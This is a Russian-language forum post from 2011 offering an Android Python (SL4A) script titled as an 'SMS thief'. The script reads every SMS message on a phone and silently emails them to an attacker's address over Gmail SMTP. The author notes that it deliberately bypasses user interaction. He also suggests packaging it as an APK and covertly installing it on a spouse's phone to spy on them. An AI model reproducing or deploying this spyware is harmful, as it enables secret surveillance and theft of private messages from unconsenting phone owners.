Компьютерный форум NoWa.cc Здесь может быть Ваша реклама
Правила Форума
редакция от 22.06.2020
Форум .::NoWa.cc::.
Вернуться   Компьютерный форум NoWa.cc > Андеграунд - Софт > Мобильный Софт > Android

Уважаемые пользователи nowa.cc. Мы работаем для вас более 20 лет и сейчас вынуждены просить о финансовой помощи по оплате за сервер.
Окажите посильную поддержку, мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney WMZ: Z021474945171 Webmoney WME: E159284508897 Webmoney WMUSDT: T206853643180
Кошелёк для вашей помощи YooMoney 4100117770549562
YooMoney Спасибо за поддержку!

 
 
Опции темы Опции просмотра Language
Старый 21.08.2011, 12:12   #1
time traveler
 
Аватар для ultramarin
 
Пол:Мужской
Регистрация: 12.08.2007
Адрес: Галактика Млечный путь.
Сообщений: 3,685
Репутация: 4695
По умолчанию Скрипт SMS-вор (только для самообразования)

Предлагаю для практики написать скрипт, который соберет все SMS у незадачливого пользователя и отправит их нам на почту.
Код:
# -*- coding: utf-8 -*-
import android, smtplib, os
droid = android.Android()
# Необходимые переменные
mailfrom = "откуда отправлять"
mailto = "куда отправлять"
lines = ""
# получаем сообщения
result = droid.smsGetMessages(False)
# обрабатываем результат и формируем тело письма
for f in result[1]:
    for value in f.values():
        lines = lines+str(value.encode('utf-8'))+ '\n'
print lines
# отсылаем полученные данные на почту
mailSend = smtplib.SMTP("smtp.gmail.com",587)
mailSend.ehlo()
mailSend.starttls()
mailSend.ehlo()
mailSend.login(mailfrom,"пароль от ящика")
mailSend.sendmail(mailfrom, mailto, lines)
mailSend.close()
В переменные mailfrom и mailto нужно забить адреса ящиков, с которых ты будешь отправлять и на которые будешь принимать письма, соответственно. Затем при помощи команды smsGetMessages() забираем сообщения. В качестве параметра ей надо указать, передавать ли только непрочитанные (True), или все сообщения (False). На будущее замечу, что у данной функции также есть и второй, необязательный параметр: inbox (по умолчанию) — из какой папки читать сообщения, в данном случае — входящие. После выполнения в переменную result запишется список, который состоит из списка словарей. Звучит запутанно, поэтому смотри код. Первый список — result, список SMS содержится в первом его элементе, поэтому в дальнейшем я работаю только со списком result[1], в котором каждый элемент — это словарь, а каждый словарь содержит SMS, номер телефона и ID сообщения. Ключи меня не сильно интересуют, поэтому я извлекаю только значения из каждого словаря и записываю их в строку, которая затем будет отправлена по почте. Для отправки по почте в API SL4A есть команда sendEmail(), но она требует участия пользователя, который вряд ли захочет, чтобы его входящие SMS отправились неизвестно кому. Поэтому подключаем smtplib и отправляем письмо самостоятельно. Ты можешь отправить это письмо самому себе или на другой ящик.

Где такой пример может пригодиться? Допустим, ты частный детектив, и очередная ревнивая жена попросила выяснить, что пишут ее мужу юные любовницы. Данный скрипт можно преобразовать в apk-файл, установить в телефон нерадивому супругу, а жене на почту будут приходить все планы будущих прелюбодеяний .

Последний раз редактировалось ultramarin; 21.08.2011 в 12:26..
ultramarin вне форума
 
Ответить с цитированием Вверх
 


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ищу софт для ресивера (Только запросы, ссылки на софт кидать только в личку) klig Ресиверы и всё о них 211 07.08.2014 08:58
не работает лог скрипт VaskoCuturil Windows 200x Server 6 06.12.2010 13:46
Что выполняет скрипт? city21 UNIX, Linux, MacOs для PC и другие ОС 1 30.11.2010 10:49
Требуется скрипт (только на PHP) Jura777 PHP 6 04.08.2007 21:12

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 02:12. Часовой пояс GMT +3.


Copyright ©2004 - 2026 NoWa.cc

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2026, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.06887 секунды с 11 запросами